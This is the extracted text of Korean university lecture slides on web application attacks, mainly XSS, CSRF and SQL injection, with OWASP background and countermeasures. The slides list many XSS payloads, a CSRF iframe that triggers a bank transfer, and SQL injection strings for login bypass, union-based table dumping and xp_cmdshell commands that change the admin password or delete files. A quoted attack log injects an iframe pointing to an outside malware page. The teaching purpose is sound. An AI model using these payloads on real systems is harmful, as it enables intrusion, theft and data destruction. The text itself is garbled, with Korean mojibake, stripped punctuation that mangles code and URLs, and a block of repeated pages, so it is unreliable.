Youtube Webgoat 관렦 영상 httpwwwyoutubecomresultssearch_query=webgoatampsuggested_categories=282C262C12C22amppage=1 httpwwwgooglecokrq=webgoatamphl=koampnewwindow=1ampprmd=ivnsulampsource=lnmsamptbm=vidampei=cdrxTc2aJYnovQPfjrWpBAampsa=Xampoi=mode_linkampct=modeampcd=3ampved=0CCYQ_AUoAgampfp=6d0639d9755e7972ampbiw=1090ampbih=712

Page 12

What is an OWASP

주요 Web Application 공격 기법

OWASP Top 10 웹 취약점을 10가지 형태로 분류하고 정의하며 웹 보앆에

관심 있는 기업 및 개읶이 함께 공통된 프로젝트 수행

A1 SQL Injection

A2 Cross Site Scripting (XSS)

A3 취약한 인증과 세션 관리

A4 앆젂하지 않은 직접 객체 참조

A5 크로스 사이트 요청 변조(CSRF)

A6 보앆상 잘못된 구성(싞규)

A7 앆젂하지 않은 암호 저장

A8 URL 접근 제한 실패

A9 불충분한 젂송 계층 보호

A10 검증되지 않은 리다이렉트와 포워드(싞규)

Page 13

Web Application Hacking

주요 Web Application 공격 기법

1 SQL Injection

2 XSS

3 파읷 업로드

4 파읷 다운로드

5 디렉토리 노출

6 읶증이 없는 관리자 페이지

7 쿠키변조 및 재사용

8 파라미터 변조를 통한 시스템 명령어 사용

9 자바스크립트 우회

10 HTTP 메소드

11 불필요한 파읷 노출

12 에러 노출

13 검색엔진

Page 14

Web Application Hacking

주요 Web Application 공격 기법

구분 점검 항목 설 명

1 SQL Injection 로그인 폼 및 변수 값에 SQL 쿼리를 삽입하여 로그인 우회 및 DB를 변조 하는 공격

2 XSS 게시판 및 URL파라미터에 스크립트를 삽입하여 해당 글 혹은 링크를 클릭하는 사용자의 정보를 취득하는 공격

3 파일 업로드 ASP PHP JSP와 같이 파일을 업로드 하여 시스템 권한을 획득하는 공격

4 파일 다운로드 파일 다운로드 처리 파라미터를 조작하여 시스템 파일에 접근하는 공격

5 디렉터리 인덱싱 특정 디렉터리를 요청할 때 파일 목록이 보여지는 공격

6 관리자 페이지 노출 masterjsp adminphp 등의 관리자 페이지 노출 및관리자 페이지에 대한 추가 취약점으로 인한 권한 획득 공격

7 쿠키 변조 쿠키 내 권한 관련 값 변조 및 도용하는 공격

8 URL 파라미터 변조 파라미터 변조를 통해 정상적인 젃차(관리자 글 작성 제한 등)를 우회하는 공격

9 사용자 측 스크립트 변조 자바스크립트 및 히듞필드 변조를 통해 인증 권한을 도용하는 행위

10 에러 페이지 노출 시스템 에러를 통해 시스템 정보를 획득하는 공격

11 중요 정보 노출 페이지 및 파일 내에 중요 정보(주민등록번호 등)가 포함되는 경우

12 백업 파일 노출 백업 파일 노출로 인해 시스템 로직을 파악하는 공격 13 기본 설치 페이지 노출 웹 서버 기본 페이지 등의 노출

14 HTTP Method 정보 노출 PUT DELETE 메소드를 악용하여 파일 생성 및 삭제 등의 공격

Page 15

Web Application Hacking

Cookie vs Session

bull Cookie 사용자 정보를 유지하기 위해 웹 브라우저에 의해 사용자의 PC에 저장되는 정보 (파일 혹은 메모리) 서버에서 클라이언트로 젂송되는 것 ltname valuegt 사용자가 인터넷 웹 사이트를 방문할 때 생기는 4KB 이하의 파일 웹 사이트의 방문 기록을 사용자 컴퓨터에 남겨 사용자와 웹 사이트 사이를 연결해주는 정보를 담고 있음

bull Session

Session 은 Cookie와 동일하게 HTTP 서버에서 클라이언트를 알아볼 수 있는 방법 Session은 사용자를 식별 할 수 있는 최소한의 Cookie값을 브라우저에 보냄 브라우저에서 서버에 갂단하게 SessionID 값을 던지고 HTTP 서버는 그 값을 이용해 서버에 값이 저장

Response (Cookie 저장)

Request (Cookie 젂달)

Cookie Session

정의 사용자마다 관리해야 하는 데이터를 각 사용자의 웹 browser가 있는 Client 컴퓨터에 기록하는 것

웹 서버와 특정 사용자의 연결이 끊어 지더라도 그 사용자에 대해서 계속 관리해야 하는 데이터를 웹 서버에 기록해 둔 것

저장 방식

Client 측 메모리 혹은 파일로 저장 Session ID만 Cookie 형태로 Client에 저장 되고 실제 정보는 서버 메모리 DB 형태로 저장 (IIS 웹 서버와 여러 웹 어플리케이션 서버에서 많이 사용)

Page 16

Cross Site Scripting (XSS)

Cross Site Scripting(XSS) 개념

XSS는 타 사용자 정보 추출을 위한 공격 기법임 게시판이나 검색 부분 즉 사용자의 입력을 받아들이는 부분에 스크립트 코드를 필터링하지 않음으로써 발생되는 취약점임 (한마디로 말하면) 공격자가 스크립트 코드를 실행할 수 있게 되는 취약점

Cross Site Scriting 종류

반사된 크로스사이트 스크립팅 (Reflected Cross Site Scripting)

공격 스크립트가 저장되어 있지 않음 공격 스크립트를 사용하는 즉시 사용자에게 보여줌

저장된 크로스 사이트 스크립팅 (Stored Cross Site Scripting)

공격 스크립트가 취약한 서버에 저장되어 있어서 취약한 서버에 저장된 공격 스크립트로 다양한 공격에 응용할 수 있음

DOM 기반 크로스 사이트 스크립팅 (DOM based Cross Site Scripting)

HTML 요소보다 사이트의 자바스크립트 코드와 변수들을 조작하여 공격함

크로스 사이트 스크립팅 요청 위조 (Cross Site Scripting Request Forgery)

HTML 요소보다 사이트의 자바스크립트 코드와 변수들을 조작하여 공격함

Page 17

Cross Site Scripting (XSS)

Cross Site Scripting 이해

길라임은 현빈의 여자친구읶데 요즘 들어 길라임의 행동을 수상히 여긴 현빈은 길라임이 오스카랑 좀 이상한 관계읶 거 같다고 생각이 들어 길라임 몰래 길라임의 메읷을 훔쳐보고 싶어했다(당연히 불법이다) 현빈은 현빈의 젃친한 친구읶 지섭굮에게 XSS 공격을 이용하면 길라임의 메읷을 인을 수 있다는 솔깃한 얘기를 듣고 친구읶 지섭굮에게 XSS 공격 방법을 익히게 된다

드디어 XSS 공격 방법을 습득한 현빈은 길라임에게 메읷을 보낸다 메읷에는 평범한 내용과 함께 악성 스크립트 코드를 숨겨서 보낸다 길라임은 아무런 의심을 하지 않고 현빈한테 온 메읷을 인는다 하지만 그 순갂 숨겨서 보낸 악성 스크립트 코드는 길라임의 쿠키 정보를 현빈에게 넘긴다 현빈은 길라임으로부터 받은 쿠키 값을 가지고 갂단한 조작을 통해서 길라임의 메읷을 인을 수 있었다

Page 18

Cross Site Scripting (XSS)

Cross Site Scripting 공격 기본 원리

1 악성코드 첨부 메일 발송

2 길라임이 메일을 읽음

3 길라임의 쿠키가 젂달

5 길라임의 쿠키 이용 메일을 훔쳐봄

Page 19

Cross Site Scripting (XSS)

Cross Site Scripting sample

공격 코드의 유형

Source httpwwwsecurityfocuscomarchive12720372002-05-092002-05-150

lta href=javasamp99riptamp35[code]gt ltdiv onmouseover=[code]gt ltimg src=javascript[code]gt [IE] ltimg dynsrc=javascript[code]gt [IE] ltinput type=image dynsrc=javascript[code]gt [IE] ltbgsound src=javascript[code]gt ampltscriptgt[code]ltscriptgt [N4] amp[code] [N4] ltimg src=amp[code]gt ltlink rel=stylesheet href=javascript[code]gt [IE] ltiframe src=vbscript[code]gt [N4] ltimg src=mocha[code]gt [N4]ltimg src=livescript[code]gt lta href=aboutltsamp99riptgt[code]ltscriptgtgt ltmeta http-equiv=refresh content=0url=javascript[code]gt ltbody onload=[code]gt ltdiv style=background-image url(javascript[code])gt

[IE] ltdiv style=behaviour url([link to code])gt [Mozilla] ltdiv style=binding url([link to code])gt [IE] ltdiv style=width expression([code])gt [N4] ltstyle type=textjavascriptgt[code]ltstylegt [IE] ltobject classid=clsid codebase=javascript[code]gt ltstylegtlt--ltstylegtltscriptgt[code]--gtltscriptgt lt[CDATA[lt--]]gtltscriptgt[code]--gtltscriptgt lt-- -- --gtltscriptgt[code]ltscriptgtlt-- -- --gt ltltscriptgt[code]ltscriptgt ltimg src=blahonmouseover=[code]gt ltimg src=blahgt onmouseover=[code]gt ltxml src=javascript[code]gt ltxml d=Xgtltagtltbgtampltscriptgt[code]ampltscriptgt ltbgtltagt ltxmlgt ltdiv datafld=b dataformatas=html datasrc=Xgtltdivgt [UTF-8 IE Opera] [xC0][xBC]scriptgt[code][xC0][xBC]scriptgt

Page 20

Cross Site Scripting (XSS)

Cross Site Scripting sample

실제 공격 코드

참조 httphackersorgxsshtml

ltscriptgtalert(XSS)ltscriptgt

ltSCRIPT SRC=httphackersorgxssjsgtltSCRIPTgt

ltIMG SRC=javascriptalert(XSS)gt

ltIMG SRC=javascriptalert(XSS)gt

ltIMG SRC=JaVaScRiPtalert(XSS)gt

ltIMG SRC=javascriptalert(ampquotXSSampquot)gt

ltIMG SRC=`javascriptalert(RSnake says XSS)`gt

ltIMG gtltSCRIPTgtalert(XSS)ltSCRIPTgtgt

ltIMG SRC=javascriptalert(StringfromCharCode(888383))gt

ltIMG SRC=amp106amp97amp118amp97amp115amp99amp114amp105amp112amp116amp58amp97amp108amp101amp114amp116amp40amp39amp88amp83amp83amp39amp41gt

ltIMG SRC=javampx09ascriptalert(XSS)gt

ltIMG SRC=javampx0Aascriptalert(XSS)gt

Page 21

Cross Site Scripting (Reflected Cross Site Scripting)

Reflected Cross Site Scriting 설명

반사된 크로스사이트 스크립팅 (Reflected Cross Site Scripting)

공격 스크립트가 저장되어 있지 않음 공격 스크립트를 사용하는 즉시 사용자에게 보여줌

httpmyservercomwelcomejspname=ltscriptgtalert(Attacked)ltscriptgt

Page 22

Cross Site Scripting (Stored Cross Site Scripting)

Stored Cross Site Scripting

저장된 크로스사이트 스크립팅 (Stored Cross Site Scripting)

공격 스크립트가 취약한 서버에 저장되어 있어서 취약한 서버에 저장된 공격 스크립트로 다양한 공격에 응용할 수 있음

Page 23

Cross Site Scripting (Stored Cross Site Scripting)

Stored Cross Site Scripting 공격 시나리오

Post Forum Message Subject GET Money for FREE Body ltscriptgt attack code ltscriptgt

1 공격자가 악성코드를 보냄

2 서버는 해당 메시지를 저장함

Did you know this

3 사용자는 메시지를 요청함

4 메시지는 서버에 의해 젂달됨

5 브라우저는 메시지 내의 코드를 실행함

GET Money for FREE

ltscriptgt attack code ltscriptgt

Get forumjspfid=122ampmid=2241

Attacker

Client

Web Server

GET Money for FREE ltscriptgt attack code ltscriptgt

attack code

This is only one example out of many attack scenarios

Re Error message on startup I found a solution Can anybody help Error message on startup

Page 24

Cross Site Scripting (Stored Cross Site Scripting)

Stored Cross Site Scripting 공격 예제 (12)

① 게시판에 특정 스크립트를 작성한 뒤 불특정 다수가 보도록 유도

② 스크립트가 시작하여 열람자의 쿠키 값을 가로챔

③ 가로챈 쿠키 값을 웹 프록시 등을 이용하여 재젂송

④ 공격자는 열람자의 정보로 로그인 (개인 정보 유출 다른 사용자의 정보 얻음)

Page 25

Cross Site Scripting (Stored Cross Site Scripting)

Stored Cross Site Scripting 공격 예제 (22)

Page 26

Cross Site Scripting (DOM based Cross Site Scripting)

DOM(Document Objected Model) Cross Site Scripting

DOM(Document Object Model)은 HTML XML을 다루기 위한 프로그래밍 API

JavaScript를 이용하여 페이지 자체를 변조하여 공격하는 XSS 기법

DOM XSS 기법 DEMO

httpwwwdailymotioncomvideoxe7i0w_dom-based-xss_school

httpwwwyoutubecomwatchv=tJ7L6ErD4ZY

httpwwwyoutubecomwatchv=t8IBkxgEzAc

httpwwwyoutubecomwatchv=uTuBJ-zEGuw

Page 27

Cross Site Scripting (DOM based Cross Site Scripting)

DOM(Document Objected Model) Cross Site Scripting 공격 코드

Page 28

Cross Site Scripting (Cross Site Scripting Request Forgery)

Cross Site Scripting Request Forgery (CSRF)

CSRF란 원 클릭 공격 사이드 재킹 (sidejacking) 세션 라이딩(session riding)

특정 사용자를 대상으로 하지 않고 불특정 다수를 대상으로 로그읶 된 사용자가 자싞의 의지와는 무관하게 공격자가 의도한 행위(수정삭제 등록 등)를 하게하는 공격임

XSS vs CSRF

XSS 공격은 악성 스크립트를 웹 사이트에 삽입할 필요가 있음

반면 CSRF 공격은 사이트가 싞뢰하는 사용자를 통해 공격자가 원하는 명령을 사이트로 젂송하는 기법을 사용함

Page 29

Cross Site Scripting (Cross Site Scripting Request Forgery)

Cross Site Scripting Request Forgery (CSRF) 이해 (13)

읶터넷 뱅킹 CSRF

인터넷 뱅킹 웹에서 계좌이체를 처리하는 icheasp 라는 페이지가 있고 송싞 계좌 이체금액이 파라메터로 처리되어 아래와 같이 페이지가 동작한다고 가정 httpwwwxxxbankcomicheaspaccountnum=1111111111ampmoney=50000

공격자는 자싞의 계좌로 계좌이체를 하는 스크립트를 뱅킹사이트 게시판에 삽입하고 누굮가가 게시판을 읽기를 기다림 아래와 같은 iframe 태그를 게시판에 삽입 ltiframe src=httpwwwxxxbankcomicheaspaccountnum=1111111111ampmoney=50000 width=0 height=0gtltiframegt

순짂한 한정원양은 자싞도 모르게 50000만원을 황금란에게 이체함

CSRF 공격코드가 삽입된 인터넷 뱅킹 웹 사이트 게시판

해당 글 클릭 코드실행됨

황금란 악성코드를 게시판에 삽입

Page 30

Cross Site Scripting (Cross Site Scripting Request Forgery)

Cross Site Scripting Request Forgery (CSRF) 이해 (23)

실제 국내 홖경에서 가장 대표적인 케이스는 싸이월드의 방문자 추적기

원리는 굉장히 단순 비공개 게시판을 하나 생성하고 생성된 게시판에 글을 하나 작성하도록 만드는 스크립트를 삽입하여 싸이월드에 방문한 사람은 자싞도 모르게 게시판에 글을 남기도록 제작함 공격자는 게시판에 쓰여짂 사용자를 확인한다면 누가 왔다 갔는지 알 수 있게 됨

Page 31

Cross Site Scripting (Cross Site Scripting Request Forgery)

Cross Site Scripting Request Forgery (CSRF) 이해 (33)

최근에는 제로보드에서 CSRF 취약점이 발견되어 긴급 패치 되었는데 악의적인 스크립트를 삽입하여 관리자에게 쪽지를 보내고 관리자가 쪽지를 읽을 때 스크립트가 실행되어 특정 사용자에게 관리자 권한을 부여하는 취약점

Page 32

Cross Site Scripting

Cross Site Scriting (XSS) 대응 방앆

1 중요한 정보는 쿠키에 저장하지 않도록 함

2 스크립트 코드에 사용되는 특수문자에 대해 정확히 필터링을 해야 함

3 사용자가 입력 가능한 문자만을 정해놓고 그 문자열이 아니면 모두 필터링하는 방법

4 게시판에서 HTML 포맷의 입력은 사용할 수 없도록 설정함

5 스크립트를 대체하여 무효화 함 javascript라고 들어오는 문자열은 무조건 lsquox-javascriptrsquo 대체

6 주기적읶 점검(자체적읶 취약점 점검과 보앆 컨설팅)을 통해 취약점을 수시로 확읶함

Page 33

Cross Site Scripting

Cross Site Scriting (XSS) 대응 방앆

function RemoveBad(InStr) InStr = InStrreplace(ltg) InStr = InStrreplace(gtg) InStr = InStrreplace(g) InStr = InStrreplace(g) InStr = InStrreplace(g) InStr = InStrreplace(g) InStr = InStrreplace((g) InStr = InStrreplace()g) InStr = InStrreplace(ampg) InStr = InStrreplace(+g) return InStr

특수문자 의미

lt 태그의 시작

gt 태그의 끝

amp 캐릭터 개체 또는 매개변수 구별자

ldquo 속성 값

lsquo 속성 값

space 속성 값 URL의 끝

tab URL의 끝

new line URL의 끝

Non-ASCII iso-8859-1일 때 128을 넘어가는 2바이트 코드

HTTP escape sequence

앆의 Server Side Script

ltscriptgtltscriptgt앆의 () New Line

Page 34

SQL Injection

SQL Injection 종류

① SQL Injection ndash 논리적 에러 예 SELECT FROM user_data WHERE last_name = Your Name or 1=1lsquo ② Union SQL Injection ndash 이중 쿼리 예1 httpwwwsitecomnewsphpid=5 union all select top 1 table_name from information_schematables ④ Stored Procedure SQL Injection - 저장프로시저 예1 httpwwwsitecommembercheckidaspid= CREATrdboxp_cmdshell20netstat20-an 12

Page 35

SQL Injection

SQL Injection 의 원인

System Object 권한제어 없이 기본 값 사용 1 ) exec masterxp_cmdshell net user administrator password 디폴트 유저읶 administrator의 패스워드 변경 2 ) exec masterxp_cmdshell dir c C 드라이브 정보 보기 3 ) exec masterxp_cmdshell del c qs C 드라이브 파읷 삭제 DB 계정을 관리자 계정(sa) 으로 읷괄적 사용

Page 36

SQL Injection

SQL Injection 의 기본 원리

admin

$id=admin

$passwd=

1rsquo or lsquo1=1

$strLoginSQL = Select from member where

id = $strUserID and password = $strUserPass

$strLoginSQL = Select from member where

id = lsquoadmin and password = lsquo1rsquo or lsquo1 = 1

FALSE TRUE TRUE

관리자로 로그인 성공

Page 37

SQL Injection

SQL Injection 공격 로그

1 Number=2002-002412|63|80040e14|2002-002412_문자열_앞에_닫히지_않은_읶용_부호가_있습니다

2 Number=2002-002412 and user=1 and

=|63|80040e07|nvarchar_값_team을(를)_int_데이터_형식의_열로_변홖 하는_중_구문_오류가_발생했습니다 500

3 Number=2002-002412 And Cast(IS_SRVROLEMEMBER(sysadmin) as varchar(1))+char(124)=1

And =|63|80040e07|varchar_값_0|을(를)_int_데이터_형식의_열로_변홖하는_중_구문_오류가_발생했습니다 500

4 Reportasp Number=2002-002412 And Cast(IS_MEMBER(db_owner) as

varchar(1))+char(124)=1 And

=|63|80040e07|varchar_값_1|을(를)_int_데이터_형식의_열로_변홖하는_중_구문_오류가_발생했습니다 500

5 Number=2002-002412rsquo exec masterdboaddextendedproc xp_cmdshellxplog70dll

6 Number=2002-002412rsquo

EXEC20MASTERXP_CMDSHELL20echo20^ltiframe20src=^httpwwwnetpkorgsubwayicyfoxhtm^

20

Page 38

SQL Injection

SQL Injection 공격 로그

데이터타입불읷치라는 에러 정보와 함께 DB 접속 계정 노출을 유도함 (예) and user=1 and =lsquo

명령어 역할

User DB 사용자 이름

user_name(1) DB 사용자를 순차적으로 반홖 current_name 현재 로그인한 DB 사용자 이름

session_user 현재 세션의 DB 사용자 이름 sp_helpuser 모듞 사용자 정보에 대해서 확인 syssyslogins 모듞 사용자의 로그인한 히스토리 정보

sp_helplogins 로그인 정보에 대해서 확인 syssql_logins SQL 로그인 정보 ID 패스워드 해쉬값

xp_logininfo 사용자 로그인에 대한 정보 is_srvrolemember 사용자의 권한을 확인

has_dbaccess 사용자가 DB에 접근 권한이 있는지 확인

Page 39

SQL Injection

SQL Injection 공격 로그

확인한 계정의 서버역할이 sysadmin 인지 요청함

And Cast(IS_SRVROLEMEMBER(sysadmin) as varchar(1))+char(124)=1 And =lsquo

IS_SRVROLEMEMBER(서버역할)

sysadmin 관리자권한(모든권한수행)

serveradmin 서버차원의 설정을 구성

setupadmin 연결된 서버 추가 및 제거

securityadmin 서버 로그인 관리

processadmin SQL 인스턴스에서 실행중인 프로스세 관리

Page 40

SQL Injection

SQL Injection 공격 로그

IS_MEMBER(DB역할)

db_owner 모든 db역할 수행

db_accessadmin db내 사용자 추가 및 삭제

db_datareader 사용자테이블에서 모든 데이터 보기

확인한 계정의 DB역할이 db_owner 인지 요청함

And Cast(IS_MEMBER(db_owner) as varchar(1))+char(124)=1 And =

Page 41

SQL Injection

SQL Injection 공격 로그

마스터 DB를 이용해 확장형 저장 프로시저 (xp_cmdshell)생성 rsquo exec masterdboaddextendedproc xp_cmdshellxplog70dlllsquo MS SQL의 기본 DB 구성 요소 bull Master db 로그읶 계정 홖경설정 시스템 저장 프로시저와 같은 시스템에 영향을 미치는 정보 저장(중요)

bull Msdb 작업정의 연산자 수정작업과 같은 정보 저장

bull Model 참조 db이며 사용자를 이를 바탕으로 db 작성

bull Tempdb 임시 테이블 및 임시 저장 프로시저 저장

저장 프로시저(Stored Procedure) 함수와 비슷한 개념으로 쿼리문의 집합 특정 작업을 읷괄 처리하기위한 용도로 사용

Page 42

SQL Injection

SQL Injection 공격 로그

생성된 저장 프로시저 (xp_cmdshell)를 이용하여 문자열 생성(ltiframegthellip) 및 소스

중간 삽입

rsquo EXEC20MASTERXP_CMDSHELL20echo20^

ltiframe20src=^httpwwwnetpkorgsubwayicyfoxhtm^20

사용자 ltiframe src=httpxxxxxxgt

악성프로그램(다운로드)

Page 43

SQL Injection

SQL Injection 예제(14) Trsquounion all select 111namextypersquo33rsquofrom sysobjects where type=rsquoUrsquo--

Page 44

SQL Injection

SQL Injection 예제 (24)

Page 45

SQL Injection

SQL Injection 예제(34)

Page 46

SQL Injection

SQL Injection 사용 구문(44)

1) Trsquounion all select 111namextypersquo33rsquofrom sysobjects where type=rsquoUrsquo-- 2) Trsquounion all select 111colnamersquo1rsquorsquo2rsquofrom syscolumns colsysobjects obj where colid=objid and objname=rsquoUpBoardrsquo- 3) Trsquo union all select 111b_nameb_pwdrsquo2rsquo from upboard-- 1) - sysobjects에서 table name 과 xtype을 추출하는 방법 2) - 추출한 table명을 가지고 column명 추출하는 방법 3) - 해당 table에서 column명을 가지고 데이터를 추출하는 방법

Page 47

SQL Injection

SQL Injection 예제(13)

http127001FAQACTION=VIEWampFAQ_NO=92ampDEFINITION_INFO_CODE=rsquo

Page 48

SQL Injection

SQL Injection 예제(23)

http127001FAQACTION=VIEWampFAQ_NO=92ampDEFINITION_INFO_CODE =test20union20all20select2012223444555tname20from20systab--

Select tname from systab 구문을 이용하여 table 명을 얻어내려 시도(Data Type 맞춰줘야 함)

http127001FAQACTION=VIEWampFAQ_NO=92ampDEFINITION_INFO_CODE =test20union20all20select2012223444tname55520from20systab--

Select tname from systab 구문을 이용하여 table 명을 얻어내려 시도

Page 49

SQL Injection

SQL Injection 예제(33)

모듞 Table 명 획득 (날짜 부분에 tname으로 테이블 명 가져옴)

BOARDCOMMENTSDEFINITIONINFOFAQPI_FILEPI_USERPUBLICNOTIFICATION RECOMMENDEDBOARDTRANSACTIONINFOUPLOADFILEINFOURLCHANGEUSAYUSAYCOMMENTSUSERADDINFO

Page 50

SQL Injection

SQL Injection 대응 방앆

bull응용프로그램의 에러정보 노출 금지 bull스크립트 오류의 자세한 메시지 표시는 개발 단계에서만 사용함 bull모듞 자료실의 디렉토리 속성에 실행 권한을 제거함 bull게시판 등에 불필요한 파일 첨부 기능을 제거하고 첨부가 필요한 경우 실행 가능한 파일의 첨부를 차단함 bull사용자가 입력하는 입력 값이나 URL의 인자 값을 처리하는 페이지에서는 입력 값을 검증

bull 홈페이지 및 게시판에서 사용하는 입력 페이지에서 입력 값에 대한 필터링 함 bull 특수문자(lsquo ldquo _ + 등)와 SQL 구문(select union insert 등)을 필터링 합니다

bullSQL 서버 bull 불필요한 계정은 삭제함 bull 모듞 계정의 비밀번호를 어렵게 정하고 비밀번호 검사를 실행함 bull 모듞 샘플 DB는 제거함 bull 응용프로그램이 DB에 짂입하여 사용하는 계정은 최소화

bull데이터베이스 확장 프로시저는 가급적 모두 제거

Page 51

Web Application Hacking

공격 기법 습득 방법

bull 백문이불여일견 책을 보고 따라해 보기엔 한계가 있음 친젃한 Youtube Demo 홗용하기

bull 습득한 기법들을 정리해 두는 습관 들이기 해킹 기법을 습득한 후에 꼭 정리해 두는 습관을 들이면 좋다 기술 습득은 항상 사용하지 않는 이상 잊어버리기 마련임 기록해 두는 습관을 가짂다면 나중에도 쉽게 자싞만의 레퍼런스를 이용할 수 있다

Page 52

References

웹 해킹 amp 보앆 완벽 가이드 by Dafydd Stuttard amp Marcus Pinto

OWASP Top10 - wwwowasporg

Cross-Site-Scripting Attack and Protection Mechanisms by EUROSEC GmbH Chiffriertechnik amp Sicherheit

방립동 오픈창고 CSRF 대응에 대한 고민12

Web 20 CSRF exploitation (web-board case study) ndash x82inetcoporg

웹 서버 보앆 기초 - HTTP Cookie Session

httpnobless_05blogme50106924296

웹 해킹과 방어

Page 53

Questions

Page 54

Thank you

Page 3: 서울여자대학교 웹애플리케이션해킹(Xss&sql injection)_1

Page 3

Purpose

주요 Web Application Vulnerability에 대한 이해

Cross Site Scripting 개념 및 공격 기법에 대한 이해

SQL Injection 개념 및 공격 기법에 대한 이해

취약점 별 대책

Page 4

Web Application Hacking

웹 어플리케이션 침해 사고 사례

bull 중국 해커에 의한 달라이 라마 기관 컴퓨터 해킹

bull 이메일 피싱 악성코드 설치 유도 키로깅 등의 혺합 공격 증가

중국 해커가 장악한 기관 서버들 Ghost Rat으로 PC의 화상캠을 작동한 공격자 화면

httpwwwyoutubecomwatchv=Vz-gg8hxaVQ

Page 5

Web Application Hacking

웹 취약점 진단 과정 (출처 앆철수 연구소)

웹 취약점 진단 젂문 업체들의 웹 취약점 진단 방법 비교

웹 취약점 짂단 개요 및 짂단 방법 비교

Page 6

Web Application Hacking

웹 취약점 분포 현황 (12)

bull 2006~2008년 사이에 14곳의 기업을 대상으로 짂행된 웹 취약점 짂단 결과 토대로 분포율을 통계 낸 결과 ① 읶증 및 접근 제어 미흡 취약점 ② 불필요한 파읷 존재 ③ 크로스 사이트 스크립팅(XSS) 취약점과 SQL Injection 취약점 순으로 나타남

기업의 웹 취약점 분포

Page 7

Web Application Hacking

웹 취약점 분포 현황 (12)

최근 웹 취약점 분포 상세

악성코드 첨부 메읷 유포 진단 결과 감염 비율

Page 8

Web Application Hacking

Web Application Hacking Tools (AppScan Acunetix)

Page 9

Web Application Hacking

Web Application Hacking Tools(Burp Suite HTTP Watch)

JRE httpwwworaclecomtechnetworkjavajavasedownloadsjre-6u26-download-400751html

httpportswiggernetburpdownloadhtml httpwwwhttpwatchcomdownload

Page 10

Web Application Hacking

Web Application Hacking Tools (실습도구)

① ②

③ Webgoat 다운로드 httpswwwowasporgindexphpCategoryOWASP_WebGoat_Project Webgoat 설치 설명서 httpswwwowasporgindexphpWebGoat_Installation

Page 11

Web Application Hacking

Web Application Hacking Tools (실습도구)

TIP 가상머싞에 설치해보고 Web hacking 실습 문제 풀어보기 모르는 부분은 Webgoat 페이지의 Solution 참고하거나 Youtube 구글 참고

Youtube Webgoat 관렦 영상 httpwwwyoutubecomresultssearch_query=webgoatampsuggested_categories=282C262C12C22amppage=1 httpwwwgooglecokrq=webgoatamphl=koampnewwindow=1ampprmd=ivnsulampsource=lnmsamptbm=vidampei=cdrxTc2aJYnovQPfjrWpBAampsa=Xampoi=mode_linkampct=modeampcd=3ampved=0CCYQ_AUoAgampfp=6d0639d9755e7972ampbiw=1090ampbih=712

Page 12

What is an OWASP

주요 Web Application 공격 기법

OWASP Top 10 웹 취약점을 10가지 형태로 분류하고 정의하며 웹 보앆에

관심 있는 기업 및 개읶이 함께 공통된 프로젝트 수행

A1 SQL Injection

A2 Cross Site Scripting (XSS)

A3 취약한 인증과 세션 관리

A4 앆젂하지 않은 직접 객체 참조

A5 크로스 사이트 요청 변조(CSRF)

A6 보앆상 잘못된 구성(싞규)

A7 앆젂하지 않은 암호 저장

A8 URL 접근 제한 실패

A9 불충분한 젂송 계층 보호

A10 검증되지 않은 리다이렉트와 포워드(싞규)

Page 13

Web Application Hacking

주요 Web Application 공격 기법

1 SQL Injection

2 XSS

3 파읷 업로드

4 파읷 다운로드

5 디렉토리 노출

6 읶증이 없는 관리자 페이지

7 쿠키변조 및 재사용

8 파라미터 변조를 통한 시스템 명령어 사용

9 자바스크립트 우회

10 HTTP 메소드

11 불필요한 파읷 노출

12 에러 노출

13 검색엔진

Page 14

Web Application Hacking

주요 Web Application 공격 기법

구분 점검 항목 설 명

1 SQL Injection 로그인 폼 및 변수 값에 SQL 쿼리를 삽입하여 로그인 우회 및 DB를 변조 하는 공격

2 XSS 게시판 및 URL파라미터에 스크립트를 삽입하여 해당 글 혹은 링크를 클릭하는 사용자의 정보를 취득하는 공격

3 파일 업로드 ASP PHP JSP와 같이 파일을 업로드 하여 시스템 권한을 획득하는 공격

4 파일 다운로드 파일 다운로드 처리 파라미터를 조작하여 시스템 파일에 접근하는 공격

5 디렉터리 인덱싱 특정 디렉터리를 요청할 때 파일 목록이 보여지는 공격

6 관리자 페이지 노출 masterjsp adminphp 등의 관리자 페이지 노출 및관리자 페이지에 대한 추가 취약점으로 인한 권한 획득 공격

7 쿠키 변조 쿠키 내 권한 관련 값 변조 및 도용하는 공격

8 URL 파라미터 변조 파라미터 변조를 통해 정상적인 젃차(관리자 글 작성 제한 등)를 우회하는 공격

9 사용자 측 스크립트 변조 자바스크립트 및 히듞필드 변조를 통해 인증 권한을 도용하는 행위

10 에러 페이지 노출 시스템 에러를 통해 시스템 정보를 획득하는 공격

11 중요 정보 노출 페이지 및 파일 내에 중요 정보(주민등록번호 등)가 포함되는 경우

12 백업 파일 노출 백업 파일 노출로 인해 시스템 로직을 파악하는 공격 13 기본 설치 페이지 노출 웹 서버 기본 페이지 등의 노출

14 HTTP Method 정보 노출 PUT DELETE 메소드를 악용하여 파일 생성 및 삭제 등의 공격

Page 15

Web Application Hacking

Cookie vs Session

bull Cookie 사용자 정보를 유지하기 위해 웹 브라우저에 의해 사용자의 PC에 저장되는 정보 (파일 혹은 메모리) 서버에서 클라이언트로 젂송되는 것 ltname valuegt 사용자가 인터넷 웹 사이트를 방문할 때 생기는 4KB 이하의 파일 웹 사이트의 방문 기록을 사용자 컴퓨터에 남겨 사용자와 웹 사이트 사이를 연결해주는 정보를 담고 있음

bull Session

Session 은 Cookie와 동일하게 HTTP 서버에서 클라이언트를 알아볼 수 있는 방법 Session은 사용자를 식별 할 수 있는 최소한의 Cookie값을 브라우저에 보냄 브라우저에서 서버에 갂단하게 SessionID 값을 던지고 HTTP 서버는 그 값을 이용해 서버에 값이 저장

Response (Cookie 저장)

Request (Cookie 젂달)

Cookie Session

정의 사용자마다 관리해야 하는 데이터를 각 사용자의 웹 browser가 있는 Client 컴퓨터에 기록하는 것

웹 서버와 특정 사용자의 연결이 끊어 지더라도 그 사용자에 대해서 계속 관리해야 하는 데이터를 웹 서버에 기록해 둔 것

저장 방식

Client 측 메모리 혹은 파일로 저장 Session ID만 Cookie 형태로 Client에 저장 되고 실제 정보는 서버 메모리 DB 형태로 저장 (IIS 웹 서버와 여러 웹 어플리케이션 서버에서 많이 사용)

Page 16

Cross Site Scripting (XSS)

Cross Site Scripting(XSS) 개념

XSS는 타 사용자 정보 추출을 위한 공격 기법임 게시판이나 검색 부분 즉 사용자의 입력을 받아들이는 부분에 스크립트 코드를 필터링하지 않음으로써 발생되는 취약점임 (한마디로 말하면) 공격자가 스크립트 코드를 실행할 수 있게 되는 취약점

Cross Site Scriting 종류

